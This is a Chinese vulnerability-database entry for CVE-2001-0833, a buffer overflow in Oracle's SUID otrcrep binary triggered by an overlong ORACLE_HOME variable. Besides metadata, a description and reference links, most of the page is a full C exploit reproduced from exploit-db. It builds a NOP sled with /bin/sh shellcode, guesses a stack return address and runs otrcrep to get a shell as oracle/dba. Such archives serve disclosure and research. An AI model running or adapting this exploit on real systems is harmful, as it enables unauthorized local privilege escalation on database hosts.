Oracle OTRCREP Oracle Home环境变量缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106456 漏洞类型 缓冲区溢出
发布时间 2001-08-02 更新时间 2005-10-12
CVE编号 CVE-2001-0833 CNNVD-ID CNNVD-200112-023
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21045
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200112-023
|漏洞详情
Oracle8.0.x到9.0.1版本的otrcrep存在缓冲区溢出漏洞。本地用户借助超长ORACLE_HOME环境变量执行任意代码,也称为“Oracle踪迹收集安全漏洞”。
|漏洞EXP
source: http://www.securityfocus.com/bid/3139/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.

/*
 * This vulnerability was researched by:
 * Juan Manuel Pascual Escriba <pask@plazasite.com>
 * cc -o evolut otrcrep.c; ./evolut 300 0
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFER		               300 
#define OFFSET			       0 
#define NOP                            0x90
#define BINARY	"/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"


char shellcode[] =
  "\xeb\x1d"
  "\x5e"
  "\x29\xc0"
  "\x88\x46\x07"
  "\x89\x46\x0c"
  "\x89\x76\x08"
  "\xb0\x0b"
  "\x87\xf3"
  "\x8d\x4b\x08"
  "\x8d\x53\x0c"
  "\xcd\x80"
  "\x29\xc0"
  "\x40"
  "\xcd\x80"
  "\xe8\xde\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

 /* void main(int argc, char *argv[]) { */
void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);  
system(BINARY);  
}
|参考资料

来源:otn.oracle.com
链接:http://otn.oracle.com/deploy/security/pdf/otrcrep.pdf
来源:BUGTRAQ
名称:20011023FW:ASIOracleSecurityAlert:3newsecurityalerts
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=100386756715645&w=2
来源:XF
名称:oracle-binary-symlink(6940)
链接:http://xforce.iss.net/static/6940.php
来源:BID
名称:3139
链接:http://www.securityfocus.com/bid/3139
来源:CIAC
名称:M-011
链接:http://www.ciac.org/ciac/bulletins/m-011.shtml
来源:BUGTRAQ
名称:20011024OracleTraceCollectionSecurityVulnerability
链接:http://online.securityfocus.com/archive/1/222612
来源:BUGTRAQ
名称:20010802vulnerabilityinotrcrepbinaryinOracle8.0.5.
链接:http://online.securityfocus.com/archive/1/201295